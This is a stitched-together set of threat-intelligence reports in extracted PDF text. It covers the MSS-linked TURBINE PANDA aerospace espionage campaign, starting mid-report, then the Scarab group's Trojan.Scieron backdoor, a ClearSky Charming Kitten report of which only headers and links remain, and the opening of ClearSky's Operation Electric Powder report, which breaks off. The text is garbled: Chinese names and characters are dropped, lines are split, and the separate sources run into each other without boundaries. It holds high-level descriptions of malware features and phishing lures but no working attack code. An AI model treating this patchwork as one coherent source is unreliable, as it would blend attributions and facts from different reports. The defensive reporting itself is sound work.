The actual process by which the CCP and its SOEs provide Chinas intelligence services with key technology gaps for collection is relatively opaque, but what is known from CrowdStrike Intelligence reporting and corroborating U.S. government reporting11 is that Beijing uses a multi-faceted system of forced technology transfer, joint ventures, physical theft of intellectual property from insiders, and cyber-enabled espionage to acquire the information it needs.
Specifically, SOEs are believed to help identify major intelligence gaps in key projects of significance that Chinas intelligence services then are likely tasked with collecting.
It is assessed with high confidence that the MSS was ultimately tasked with targeting firms that had technologies pertaining to the LEAP-X engine and other components of the C919, based on timing and the details revealed in the DoJ indictments.
For example, the first preparatory activity in January 2010 believed to be associated with TURBINE PANDA targeted Los Angeles-based Capstone Turbine and began just a month after choosing CFM as its engine provider.
This brings us to our culprits: the Jiangsu Bureau of the MSS (JSSD/) located in Nanjing.
In Part II, we will discuss the JSSDs location, and its joint operations between the JSSDs cyber operators and its human intelligence officers.
PART II: THE CULPRITS From August 2017 until October 2018, the DoJ released several separate, but related indictments against Sakula developer YU Pingan12, JSSD Intelligence Officer XU Yanjun13, GE Employee and insider ZHENG Xiaoqing14, U.S. Army Reservist and assessor JI Chaoqun15, and 10 JSSD-affiliated cyber operators in the ZHANG et.
al.
indictment16.
What makes these DoJ cases so fascinating is that, when looked at as a whole, they illustrate the broad, but coordinated efforts the JSSD took to collect information from its aerospace targets.
In particular, the operations connected to activity CrowdStrike Intelligence tracked as TURBINE PANDA showed both traditional human-intelligence (HUMINT) operators and its cyber operators working in parallel to pilfer the secrets of several international aerospace firms.
9 https://www.flightglobal.com/news/articles/china-completes-assembly-of-first-high-bypass-turbof-444526/ 10 https://www.flightglobal.com/news/articles/c919s-local-engine-alternative-powered-up-448721/ 11 https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf 12 https://regmedia.co.uk/2017/08/24/yu.pdf 13 https://www.justice.gov/opa/press-release/file/1099881/download 14 https://www.justice.gov/opa/pr/new-york-man-charged-theft-trade-secrets 15 https://www.justice.gov/opa/press-release/file/1096411/download 16 https://www.justice.gov/opa/press-release/file/1106491/download V1.
12/05VV1 Copyright 2019 5 Figure 4.
JSSDs Cyber Operations V1.
12/05VV1 Copyright 2019 6 As discussed in the previous section, it is believed that cyber targeting of aerospace firms by TURBINE PANDA cyber operators began in January 2010, almost immediately after the LEAP-X engine was chosen for the C919.
The ZHANG indictment describes initial preparatory action that included compromising Los Angeles-based Capstone Turbine servers and later using a doppelganger site as a strategic web compromise (SWC) in combination with DNS hijacking (including a specific technique the indictment points out may have been borrowed from the Syrian Electronic Army/DEADEYE JACKAL17) to compromise other aerospace firms.
From a period of 2010 to 2015, the linked JSSD operators are believed to have targeted a variety of aerospace-related targetsincluding Honeywell, Safran, and several other firms18, 19using two China-based APT favorites, PlugX and Winnti, and malware assessed to be unique to the group dubbed Sakula.
The same ZHANG indictment indicates that these operations were overseen by CHAI Meng (), who likely managed the JSSDs cyber operators as a pseudo Cyber Section Chief.
Reporting to CHAI was the cyber operator team lead, LIU Chunliang (/sxpdlc1r/Fangshou), who appeared to establish and maintain much of the infrastructure used in the attacks on various aerospace targets as well as organize the intrusions conducted by the operators ZHANG Zhanggui (/Ieanovr/Ieaonr), GAO Hongkun ( /Mer4en7y), ZHUANG Xiaowei (/jpxxav), MA Zhiqi (/Le Ma), and LI Xiao (/zhuan86).
Many of these individuals are assessed to have storied histories in legacy underground hacking circles within China dating back to at least 2004.
Notably, LIU also appeared to broker the use of Sakula from its developer YU, as well as the malware IsSpace (associated with SAMURAI PANDA) from its likely developer ZHUANG.20 LIU and YUs conversations about Sakula would be a critical factor in tying all of this disparate activity together as Sakula was believed to be unique to the JSSD operators and could be used to tie several aerospace intrusion operations into a single, long-running campaign.
JSSDs HUMINT Efforts Simultaneously, there was a HUMINT element to the JSSDs espionage operations against aerospace targets.
XU Yanjun, was identified in his indictment21 as the Deputy Division Director of the Sixth Bureau of the JSSD in charge of Insider Threats.
XU affiliated himself with two cover organizationsJiangsu Science and Technology Association (JAST) and the Nanjing Science  Technology Association (NAST) when interacting with potential targets.
XU also was reported as frequently associating with the Nanjing University of Aeronautics and Astronomics (NUAA), a significant national defense university controlled by Chinas Ministry of Industry and Information Technology (MIIT), that interfaces directly with many of Chinas top defense firms and state-owned enterprises.
It is likely no coincidence that NUAA is a regular collaborator with state-owned enterprises (SOEs) COMAC and AVIC, the main shareholders of AECC, which went on to produce the LEAP-X inspired CJ1000-AX turbine engine for the C919.
17 https://www.forbes.com/sites/andygreenberg/2013/08/28/syrian-hack-of-nytimes-com-and-twitter-could-have-inflicted- much-more-than-mere-embarrassment/3b3746944944 18 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine- cyberespionage-group.pdf 19 https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/ 20 https://regmedia.co.uk/2017/08/24/yu.pdf 21 https://www.justice.gov/opa/press-release/file/1099881/download V1.
12/05VV1 Copyright 2019 7 Figure 5.
MSS Intelligence Officer and Deputy Division Director XU Yanjun Over the course of several years, XU would recruit both an insider at LEAP-X manufacturer General Electric (GE), ZHENG Xiaoqing, and a Chinese-born Army reservist, JI Chaoqun ().
ZHENGs background appears to have made him uniquely qualified to accurately assess turbine engine schematics, and it was clear from his indictment that he had received coaching on which sensitive information on GEs turbine technology to access and how to use steganography in an attempt to exfiltrate the information.
JI, who entered the U.S. on an F-1 student visa to study electrical engineering in Chicago, was approached by XU (initially undercover as an NUAA professor) in December 2013 and eventually recruited to provide assessments on other high-value individuals in the aerospace industry for potential recruitment by the MSS.
JIs position in the U.S. Army Reserve program known as Military Accessions Vital to the National Interest (MAVNI) provided a perfect cover for JIs assessment activities, as the program focuses on potential recruitment of foreign citizens with skills pertinent to national interest and legally residing in the U.S. Had it been successful, JI would have been handing XU other foreign-born recruitment candidates as they were about to enter U.S. military service on potentially sensitive projects.
HUMINT-Enabled Cyber Operations and the Role of CrowdStrikes Own Blog In February 2014, one of our own blogs described the relationship between cyber activity in 2012 against Capstone Turbine and an SWC targeting Safran/Snecma carried out by TURBINE PANDA, potentially exposing the HUMINT-enabled cyber operations described in some of the indictments.
As described in the ZHANG indictment, on 26 February 2014, one day after the release of our French Connection blog publicly exposed some of TURBINE PANDAs operations, intel officer XU texted his JSSD counterpart, cyber director CHAI, asking if the domain ns24.dnsdojo.com was related to their cyber operations.
That domain was one of the few controlled by cyber operator lead LIU, and several hours after CHAI responded to XUs text that he would verify, the domain name was deleted.
According to the ZHANG indictment, The deletion was believed to be carried out by GU Gen (), Safrans Suzhou Branch IT manager, when Safran began investigating beaconing from that domain following the blog post and notification from the Federal Bureau of Investigation (FBI).
GU had been V1.
12/05VV1 Copyright 2019 8 previously recruited around January 2014 by XU, and was able to act as a fixer for LIU and his teams operations.
The indictment also showed that XU had also previously recruited another Safran Suzhou insider named TIAN Xi () in November 2013, giving him a USB drive with Sakula on it.
On 25 January 2014, TIAN communicated to XU that he had installed Sakula on Safrans networks, and XU in turn texted confirmation to CHAI, whos team subsequently began their operations on Safrans networks over the next month.
Where is the JSSD?
Though not much is publicly known about the internal organizational structure of Chinas secretive national intelligence service, the MSS is known to operate a number of large municipal bureaus, normally located in the provincial capitals.
Through a mixture of open-source research and confirmation from sensitive source reporting, CrowdStrike Intelligence confirmed two locations that the JSSD likely operates out of: 1.
Approximately 32334.25N, 1184541.83E in the Gulou District of Nanjing - 1.
Co-located in the headquarters of the Jiangsu Ministry of Public Security (MPS/) Figure 6.
Street View of a JSSD Location Left, the characters for the JSSD ().
Right, the characters for the Jiangsu MPS.
The same street view on Baidu Maps22 currently has both the JSSD characters and the red emblem (poorly) blurred out.
22 https://maps.baidu[.
]cn/panoid09002500121709081338424411Ipanotypestreetheading182.45pitch13.76l21tn B_NORMAL_MAPsc0newmap1shareurl1pid09002500121709081338424411I V1.
12/05VV1 Copyright 2019 9 Tellingly, the listed address of the JSSDs kindergarten is 50 Ninghai road, Gulou District ( 50), a building very near to the Jiangsu MPS headquarters.23 Furthermore, MSS facilities are believed to often be co-located in MPS buildings both to provide plausible cover and due to their overlapping work on domestic security.
2.
Approximately 315845.65N, 1184632.93E in the Yuhua District of Nanjing - 33 Figure 7.
Architectural Mockup of JSSD Compound A particular Nanjing architectural firm appears fairly proud of the job it did on this JSSD compound (see above), and prominently features pictures of architectural mockups of the buildings outside, atrium, and even its gym as splash pages on its main site.24 Again, the JSSD hanzi () are directly on the site along with indications that it was built in 2009.
A comparison with the street view25 (see Figure 8) and corroboration with sensitive source reporting gives us fairly high confidence that this building and location is affiliated with the JSSD.
A satellite view shows an array of satellite dishes out front as well.
23 https://jiangsu.youbianku.com/E5908DE5BD95/E6B19FE88B8FE79C81E59BBDE5AEB6E5 AE89E585A8E58E85E5B9BCE584BFE59BAD 24 https://web.archive.org/save/http:/dadda.cn/show-19-79-1.html 25 https://maps.baidu[.
]cn/panoid09002500121709131120474746Lpanotypestreetheading353.22pitch3.8l21tnB _NORMAL_MAPsc0newmap1shareurl1pid09002500121709131120474746 V1.
12/05VV1 Copyright 2019 10 Figure 8.
Front Entrance of a JSSP Building in Yuhua Resembling Architectural Mockup In the next section, well discuss the aftermath of these operations, their connection to other Chinese cyber campaigns, and how they fit into Chinas larger strategy of leapfrog development.
PART III: THE AFTERMATH The arrests of MSS officer XU Yanjun, his insiders (ZHENG Xiaoqing and JI Chaoqun), and Sakula developer YU Pingan will ultimately not deter Beijing from mounting other significant cyber campaigns designed to achieve leapfrog development in areas they perceive to be of strategic importance.
Though XUs arrest in particular was likely a massive boon to U.S. intelligence given he was the first MSS officer (not simply an asset) known to be arrested, China has not ceased cyber operations even after incidents tying GOTHIC PANDA26 and STONE PANDA27 to the MSS were exposed publicly.
The reality is that many of the other cyber operators that made up TURBINE PANDA operations will likely never see a jail cell.
YU was arrested in 2017 following his attendance at a U.S.-based security conference, and CrowdStrike Intelligence sensitive source reporting indicated that following his arrest, the MSS issued strict orders for Chinas security researchers to be barred from participating in overseas conferences or Capture the Flag competitions, likely fearing a repeat occurrence and more arrests of its offensive talents.
In years prior to that directive, Chinese teamssuch as those from Qihoo 360, Tencent, and Baiduhad dominated overseas competitions and bug bounties including Pwn2Own and CanSecWest, earning thousands of dollars in cash rewards for their zero-day exploits for popular systems such as Android, iOS, Tesla, Microsoft, and Adobe.
Instead, the companies these researchers work for were required to provide vulnerability information to the China Information Technical Security Evaluation Center 26 https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ 27 https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ V1.
12/05VV1 Copyright 2019 11 (CNITSEC/).
CNITSEC was previously identified by CrowdStrike Intelligence and other industry reporting28 as being affiliated with the MSS Technical Bureau and it runs the Chinese National Information Security Vulnerability Database (CNNVD/), which was outed for its role in providing the MSS with cutting-edge vulnerabilities likely for use in offensive operations.29 However, even before this directive, it is likely that many of the vulnerabilities used in offensive MSS operations came from these researchers.
Many of the senior security researchers and executives at Chinese security firms got their start in legacy domestic hacking groups such as Xfocus and went on to turn their talents into successful careerssome whitehat, some blackhat, and the large majority probably falling somewhere in the grey area.
The majority of these firms are listed partners of the CNNVD (see the image below).
NSFOCUS, for example, was formed out of the remnants of the commercialized faction of Chinas patriotic hacking group the Green Army its hanzi characters are actually still the same as the original groups name.
Venustech and Topsec were both listed as known Chinese state-affiliated contractors in leaked U.S. government cable.
Topsec was also linked to campaigns against the aerospace sector and Anthem breaches in public reporting.30 Figure 9.
Prominent Chinese Tech Firms Partnering with the MSS-Affiliated CNNVD What is notable about the use of certain vulnerabilities and strains of malware sourced from the Chinese underground is that they often uniquely indicate which actors are responsible for which campaigns.
In this case, Sakula is described in the YU indictment as being relatively unique and was provided to JSSD 28 https://www.recordedfuture.com/chinese-mss-behind-apt3/ 29 https://www.recordedfuture.com/chinese-mss-vulnerability-influence/ 30 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine- cyberespionage-group.pdf V1.
12/05VV1 Copyright 2019 12 lead operator LIU Chunliang by YU along with multiple other vulnerabilities that were used against aerospace firms by LIU and other cyber operators that comprised TURBINE PANDA operations.
The usage of Sakula across multiple victims and the arrest of its developer, YU, by the FBI would prove critical for several reasons.
Industry reporting31 outlined the overlapping similarities between activity at one of TURBINE PANDAs victims that exhibited certain tactics, techniques, and procedures (TTPs) and the usage of Sakula in the Anthem breach publicly disclosed in 2015.
As indicated by an FBI Flash Report32 detailing the tools used in the U.S. Office of Personnel Management (OPM) intrusion, Sakula was named along with FFRAT and the IsSpace malware (tracked by CrowdStrike Intelligence as being used by SAMURAI PANDA and also connected to JSSD operators in the ZHANG indictment via cyber operator ZHUANG Xiaowei) in the OPM case, likely indicating the JSSD was also behind these operations.
Public reporting has long theorized that the same operators were behind the Anthem and OPM incidents, and that both operations were likely perpetrated by actors affiliated with the MSS.
Further reporting tied a breach at United Airlines to the same group that perpetrated Anthem and OPM, reaffirming that those actors had interests in aviation as well.33 It is likely that the DoJ indictments provided yet another piece to this complicated puzzle that saw the pilfering of the data of millions of cleared U.S. government workers funneled to China, a veritable intelligence gold-mine for recruiting potential future spies.
The Bigger Picture Even with the arrest of a senior MSS intelligence officer and a valuable malware developer, the potential benefits of cyber-enabled espionage to Chinas key strategic goals has seemingly outweighed the consequences to date.
Beijing still has a long way to go before it has a completely independent domestic commercial aviation industry, as evidenced by the 45 billion USD deal to purchase 300 Airbus planes during President XI Jinpings recent visit to France.34 XI inked a similar purchase agreement for 300 Boeing planes during a November 2017 visit to the U.S.
Yet China still seeks to decrease its dependency on this duopoly and eventually compete on an even footing with them.
Notably, China was the first country to ground Boeings 737 MAX and tout its own air safety records, following a second deadly 737 MAX crash this year.35 In May 2017, weeks after the C919s successful maiden flight in China, AECC and Russias United Aircraft Corp (UAC) announced a 50-50 joint venture (JV) called China-Russia Commercial Aircraft International Corp (CRAIC) to fund and design a new aircraft dubbed CR929 (see Figure 10), a wide-body jet designed to compete with the Airbus 350 and Boeing 787.36 Though both countries will design much of the 31 Ibid.
32 https://info.publicintelligence.net/FBI-HackToolsOPM.pdf 33 https://www.bloomberg.com/news/articles/2015-07-29/china-tied-hackers-that-hit-u-s-said-to-breach-united-airlines 34 https://www.scmp.com/news/china/diplomacy/article/3003384/china-france-sign-us45-billion-deals-including-airbus- order?utm_mediumemailutm_sourcemailchimputm_campaignenlz- scmp_chinautm_content20190327MCUIDf85aea33abMCCampaignIDea970c4480MCAccountID3775521f5f5420472 46d9c827tc5 35 https://www.nytimes.com/2019/03/13/business/china-boeing.html 36 https://www.reuters.com/article/us-china-comac-russia-idUSKBN18I0KZ V1.
12/05VV1 Copyright 2019 13 aircraft, the CR929s engines, onboard electrical systems, and other components will still likely need to be supplied by foreign suppliers.37 Figure 10.
CR929 Airliner Source: Reuters Similar to the procedure for developing the C919, the JV is currently taking bids for an aircraft engine that will be used until a Chinese-Russian substitute can take its place this appears likely to be the CJ- 2000, an upgraded version of the CJ-1000AX used in the C919.
Finalists in the bidding process may face additional targeting from China-based adversaries that have demonstrated the capability and intent to engage in such intellectual property theft for economic gain.
It is unclear whether Russia, a state that also has experienced cyber operators at its disposal, would also engage in cyber-enabled theft of intellectual property related to the CR929.
The C919 still faces significant barriers to entrynamely, international certification and the current Sino-U.S. trade war.
COMAC aims to have the C919 pass grueling certification standards by the end of 2020.
Notably, public reporting in February 2019 detailed a potential cover-up involving a November 2016 cyber intrusion at the Canada-based International Civil Aviation Organization (ICAO), the United Nations (UN) body that sets global civil aviation standards.38 The documents indicate that the intrusion at ICAO was likely designed to facilitate a strategic web compromise (SWC) attack (similar to what TURBINE 37 https://chinapower.csis.org/china-commercial-aviation/ 38 https://www.cbc.ca/news/canada/montreal/montreal-based-un-aviation-agency-tried-to-cover-up-2016-cyberattack- documents-show-1.5033733 V1.
12/05VV1 Copyright 2019 14 PANDA did with Capstone Turbine and described in Part II of this series) that would easily provide a springboard to target a plethora of other aerospace-related as well as foreign government victims.
Upon being alerted to the breach by the Aviation Information Sharing and Analysis Center (AISAC), the ICAO internal IT investigation staff was reportedly grossly negligent, and the cyber intruders may have had direct access to one of their superuser accounts.
In addition, a file containing a list of all the potential organizations who were compromised by the incident mysteriously disappeared during further investigations.
Figure 11.
ICAOs Secretary General Gang LIU and IT Deputy Director James WAN Suspected of Having Mishandled Investigation of Breach Source: Canadian Broadcasting Corporation (CBC) Outside, third-party investigations point to China-based EMISSARY PANDA as the culprit.
CrowdStrike Intelligence is unable to independently confirm this however, EMISSARY PANDA has been previously observed targeting the aviation industry as well.
Both the ICAO IT supervisor in charge of the mishandled internal investigation, James WAN, and Fang LIU, the ICAOs secretary general who shelved recommendations to investigate WAN and his four team members, were both found by CrowdStrike to have ties to Chinas aviation industry.
LIU previously was a major figure at the Civil Aviation Administration of China (CAAC), one of several prominent Chinese state-owned enterprises (SOEs) tasked with advancing Chinas aviation industry.39 WAN was previously connected to the Civil Aviation University of China (CUAC), another prominent institution in Chinas aviation industry research that is administered by CAAC.
Though CrowdStrike Intelligence cannot make any high confidence determinations about the breach, the timing in 2016, the techniques (such as attempting an upstream SWC to target other industry victims), and the nature of the intrusion into ICAO is an eerily similar situation to GU Gen, the MSS-recruited IT manager at Safrans Suzhou branch who sought to cover up 39 https://www.icao.int/DownloadDocs/liu_biography_en.pdf V1.
12/05VV1 Copyright 2019 15 TURBINE PANDA operations (see the previous blog post).
LIU, WAN, and the four employees are all still employed at ICAO.
A major facet of the current Sino-U.S. trade war is forced technology transfer, which Beijing has used to great effect by siphoning intellectual property from foreign firms in exchange for providing joint ventures (JVs) and granting access to Chinas lucrative market, only to be forced out later by domestic rivals as they grow competitive with state subsidies and support.
Under current laws, the C919s foreign suppliers (many of whom were targets of TURBINE PANDA operations) are required to physically assemble components in China through a JV with COMAC.40 It remains to be seen whether the high-level Sino-U.S. trade negotiations will result in limiting Beijings ability to speed its aviation development through JVs, forced technology transfer, HUMINT operations, or cyber-enabled theft of IP.
But the unprecedented visibility into how the MSS and its cyber operators enhance Chinas leapfrog development coming at this time is more than just a coincidence.
40 https://apex.aero/2019/01/23/comac-aims-high
Scarab attackers took aim at select Russian targets since 2012 Contributor: Yi Li A group of attackers, which we call Scarab, has been performing highly targeted attacks against particular Russian-speaking individuals both inside and outside of Russia since at least January 2012.
In each campaign, the attackers typically target a small amount of individualsrather than enterprises or governmentsusing economic, military, topical, or generic lures.
On average, less than ten unique computers are infected per month and there is no indication that the attackers are trying to spread through the victims local network, suggesting that Scarabs campaigns are extremely targeted in nature.
Many of Scarabs campaigns focus on distributing the groups custom malware (Trojan.
Scieron and Trojan.
Scieron.
B) through emails with malicious attachments.
These files contain exploits that take advantage of older vulnerabilities that are already patched by vendors.
If the attackers successfully compromise the victims computers, then they use a basic back door threat called Trojan.
Scieron to drop Trojan.
Scieron.
B on to the computer.
Trojan.
Scieron.
B has a rootkit-like component that hides some of its network activity and features more enhanced back door functionality.
Who are the Scarab attackers?
Based on our research, the Scarab attackers are a technically capable group, judging on how they have custom-developed several malicious tools for these campaigns.
However, they are not highly skilled or well resourced, as they rely on older exploits and executables stored in compressed archives to distribute their threats.
http://www.symantec.com/security_response/writeup.jsp?docid2014-072320-5920-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-081114-0917-99 There are some indications (based on language resources) that the attackers are familiar with Chinese language characters,  and they seem to mostly target Russian speakers located in Russia and other regions around the world.
Figure 1 Scarab victims based on Symantec telemetry The group conducts command-and-control (CC) operations almost exclusively through the use of dynamic domain name system (DNS) domains.
The CC servers are usually hosted in South Korea however, there have been instances where servers were located in other countries.
For the majority of 2012, there was not much information about Scarabs victims.
However from October 2012, a number of emails used by Scarab were blocked by Symantec .Cloud.
All of the emails were sent from yandex.ru email addresses.
Early attacks On October 29, 2012, an email with the Russian language subject was sent to two individuals working for a large retail organization.
Translated to English, the emails subject is Experimental definition is effective.
These emails contained Microsoft Word attachments that triggered an exploit taking advantage of the Microsoft Windows Common Controls ActiveX Control Remote Code Execution Vulnerability (CVE-2012- 0158).
Once triggered, the exploit dropped a copy of Trojan.
Scieron onto the victims computer.
The attackers continued to intermittently send emails with .doc malware droppers until August 2013.
http://www.securityfocus.com/bid/52911 On January 22, 2013, the Scarab attackers sent an email with the English language subject Joint Call For Papers - Conferences / Journal Special Issues, January 2013 to two individuals.
The attackers sent the message to email accounts associated with an Australian funded academic research project that had concluded in 2010.
It is possible that the researchers were continuing to use the email accounts for unrelated topics and this was why the attackers chose to target them.
Seven days later, another email was sent to the same two individuals, this time with a Russian language subject of ,which translates to Service-related information are released (sic).
G20 summit focus From this point on, at least until January of 2014, the attackers moved to finance-related lures and targets.
In April, the attackers sent an email with the subject G20 receives clean bill of health at Boao to a European government target.
In August, they sent another email to six people working for an international economic organisation.
This email had the Russian language subject of G20  2013  which translates to G20 for 2013.
In August, a final G20-related email was sent to two individuals working in the Economic Ministry of a European government.
That email had the English language subject About G20 details.
Russian news lures There were no further emails discovered and no active infections detected until January 2014, when Scarabs activity resumed and continued up to now.
From that month on, the attackers have been using .scr files to drop Trojan.
Scieron.
The titles of these .scr files are usually in Russian, and are a hint as to the nature of the targets.
Its very likely that the .scr files are being delivered by email however this has not been confirmed.
It is also likely and again, unconfirmedthat the .scr files are embedded in .rar files.
One example of the groups malicious .scr file names is   2016 .
This translates to Russian Federation to 2016 will test gas turbines for warships.
The title comes from an article, published in June 2014, on a Russian media website.
Figure 2.
The attackers used the titles of news articles from a Russian media site for their malicious files names Another more recent file name was     2014 .doc.scr which translates to the quite generic work plan for June 2014 year.doc.src.
Looking at the total number of infections per country in Figure 1 based on Symantec telemetry, its clear that Russia, or at least Russian speakers, are the primary targets of the Scarab attackers, although non- Russian speakers have been targeted as well.
Scarabs malware In all of these campaigns, the attackers have attempted to compromise victims computers with a variant of Trojan.
Scieron.
This is a basic back door threat that is used to download additional malware onto the targets computer.
The main payload of Trojan.
Scieron is within a DLL file.
This file is dropped either from a Trojanized Microsoft Word document or from other PE files.
Once the Trojan compromises the victims computer, it is able to perform the following actions: Gather system information, such as the computer name, host name, operating system version, and drive type Download additional files Execute files Retrieve specific files from the victims computer List directories Delete files Move files to other folders In most of the investigated incidents, Trojan.
Scieron has been used to download an enhanced version of itself, which Symantec detects as Trojan.
Scieron.
B.
This threat includes a basic rootkit-like tool which hides some of its network activity.
Trojan.
Scieron.
Bs file names seen to date are usually seclog32.dll (back door) and hidsvc.dat (rootkit).
The back doors functionality includes the following features: Create, list, and terminate processes Read, set, and delete registry entries Read, write, list, and delete files and directories Gather cached URLs Launch remote shell Gather recent active files Retrieve details from its configuration file Trojan.
Scieron.
Bs rootkit functionality allows it to hide a Transmission Control Protocol (TCP) port in communications.
Symantec and Norton protection The Scarab attackers have been consistently targeting a select number of victims with custom malware over the last few years.
While the group uses older exploits, their campaigns seem to have had some success, judging on how they have continued to operate similar campaigns over the years.
The attackers focus on Russian speakers shows that they have specific targets in mind and they continue to adjust the subject of their email campaigns to successfully compromise their victims.
Symantec .Cloud blocks emails that come from the Scarab attackers.
Symantec and Norton products also offer the following detections against Scarabs custom malware Trojan.
Scieron Trojan.
Scieron.
B http://www.symantec.com/security_response/writeup.jsp?docid2014-072320-5920-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-081114-0917-99 In general, you should adhere to the following best practices to prevent Scarabs attacks from compromising your computer: Exercise caution when receiving unsolicited, unexpected, or suspicious emails Avoid clicking on links in unsolicited, unexpected, or suspicious emails Avoid opening attachments in unsolicited, unexpected, or suspicious emails Update the software, operating system, and browser plugins on your computer to prevent attackers from exploiting known vulnerabilities.
Use comprehensive security software, such as Norton Security, to protect yourself from malware.
Indicators of compromise (IoC) For a full list of IoCs, please check out our indicators of compromise document.
http://us.norton.com/ http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/Scarab_IOCs_January_2015.txt
2019  All rights reserved to ClearSky Security Ltd .
TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction.
The Kittens Are Back in Town 2 Charming Kitten Campaign Keeps Going on, Using New Impersonation Methods October 2019 TLP:WHITE October 2019 Table of Content Introduction ................................................................................................................. 3 About Charming Kitten .................................................................................................. 4 Attack Vector ............................................................................................................... 5 Impersonation Vectors .................................................................................................. 5 Digital Infrastructure ................................................................................................... 14 Indicators of Compromise ............................................................................................ 17 October 2019 Introduction 1 https://www.clearskysec.com/the-kittens-are-back-in-town/ 2 https://www.clearskysec.com/the-kittens-are-back-in-town/ October 2019 About Charming Kitten See corresponding footnote for relevant references4.
4 2015 -  https://www.clearskysec.com/thamar-reservoir/ 2017 - https://www.clearskysec.com/charmingkitten/ 2018 - https://www.bleepingcomputer.com/news/security/iranian-apt-poses-as-israeli-cyber- security-firm-that-exposed-its-operations/ March 2019 - https://noticeofpleadings.com/phosphorus/files/Complaint.pdf September 2019  https://www.clearskysec.com/the-kittens-are-back-in-town/ October 2019 - https://blogs.microsoft.com/on-the-issues/2019/10/04/recent-cyberattacks-require- us-all-to-be-vigilant/ https://attack.mitre.org/groups/G0058/ https://www.clearskysec.com/thamar-reservoir/ https://www.bleepingcomputer.com/news/security/iranian-apt-poses-as-israeli-cyber-security-firm-that-exposed-its-operations/ https://www.bleepingcomputer.com/news/security/iranian-apt-poses-as-israeli-cyber-security-firm-that-exposed-its-operations/ https://noticeofpleadings.com/phosphorus/files/Complaint.pdf https://www.clearskysec.com/the-kittens-are-back-in-town/ October 2019 Attack Vector Impersonation Vectors First Vector - A message with a link pretending to be Google Drive October 2019 October 2019 October 2019 October 2019 Second Vector  An SMS message October 2019 Third Vector  Login attempt alert message October 2019 Fourth Vector  Social Networks imperonation October 2019 Note that the domains that are presented in the directory are related to the impersonation subject and not the malicious domain.
October 2019 5 https://www.niacouncil.org/about-niac/staff-board/nooshin-sadegh-samimi/ October 2019 Digital Infrastructure October 2019 6 6 https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from- hacking/ https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ October 2019 7 https://noticeofpleadings.com/strontium/files/prop_ord_dj_pi_appc.pdf https://noticeofpleadings.com/strontium/files/prop_ord_dj_pi_appc.pdf October 2019 Indicators of Compromise 2019  All rights reserved to ClearSky Security Ltd .
TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction.
ClearSky Cyber Intelligence Report 2019 All rights reserved to ClearSky Security Ltd. TLP: WHITE - The content of the document is solely for internal use.
Distributing the report outside of recipient organization is not permitted.
Photo by 42 North on Unsplash https://unsplash.com/photos/OE7H8Zp1 mw8
Operation Electric Powder  Who is targeting Israel Electric Company?
clearskysec.com /iec/ Attackers have been trying to breach IEC (Israel Electric Company) in a year-long campaign.
From April 2016 until at least February 2017,  attackers have been spreading malware via fake Facebook profiles and pages, breached websites, self-hosted and cloud based websites.
Various artifacts indicate that the main target of this campaign is IEC  Israel Electric Company.
These include domains, file names, Java package names,  and Facebook activity.
We dubbed this campaign Operation Electric Powder.
Israel Electric Company (also known as Israel Electric Corporation) is the largest supplier of electrical power in Israel.
The IEC builds, maintains, and operates power generation stations, sub-stations, as well as transmission and distribution networks.
The company is the sole integrated electric utility in the State of Israel.
It installed generating capacity represents about 75 of the total electricity production capacity in the country.
It is notable that the operational level and the technological sophistication of the attackers are not high.
Also, they are having hard time preparing decoy documents and websites in Hebrew and English.
Therefore, in most cases a vigilant target should be able to notice the attack and avoid infection.
We do not have indication that the attacks succeeded in infecting IEC related computers or stealing information.
Currently we do not know who is behind Operation Electric Powder or what its objectives are.
See further discussion in the Attribution section.
Impersonating Israeli news site The attackers registered and used in multiple attacks the domain ynetnewes[.
]com (note the extra e).
This domain impersonates ynetnews.com, the English version of ynet.co.il  one of Israels most popular news sites.
Certain pages within the domain would load the legitimate Ynet website: 1/13 http://www.clearskysec.com/iec/ https://en.wikipedia.org/wiki/Israel_Electric_Corporation http://www.clearskysec.com/wp-content/uploads/2017/03/ynet-redirect.png http://www.clearskysec.com/wp-content/uploads/2017/03/ynetnewes-1.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/ynetnewes.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/Linda-santos.png http://www.clearskysec.com/wp-content/uploads/2017/03/iec-comment.png http://www.clearskysec.com/wp-content/uploads/2017/03/Picture1.png http://www.clearskysec.com/wp-content/uploads/2017/03/iec-friends.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/follwing.png http://www.clearskysec.com/wp-content/uploads/2017/03/PokC3A9mon-Go.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/unnamed.png http://www.clearskysec.com/wp-content/uploads/2017/03/iec-apk.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/mobile1.png http://www.clearskysec.com/wp-content/uploads/2017/03/mobile2.png http://www.clearskysec.com/wp-content/uploads/2017/03/mobile3.png http://www.clearskysec.com/wp-content/uploads/2017/03/mobile4.png http://www.clearskysec.com/wp-content/uploads/2017/03/sourcefarge.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/Screenshot_2.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/Screenshot_1.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/iecmafil.jpg http://www.clearskysec.com/wp-content/uploads/2017/03/iec-pdf.jpg Others, which are opened as decoy during malware infection, had copied content from a different news site: The URL ynetnewes[.
]com/video/Newfilm.html contained an article about Brad Pitt and Marion Cotillard copied from another site.
At the bottom was a link saying Here For Watch It : 2/13 http://www.nrg.co.il/online/47/ART2/830/912.html The link pointed to goo[.
]gl/zxhJxu (Googles URL shortening service).
According to the statistics page, it had been created on September 25, 2016 and have been clicked only 11 times.
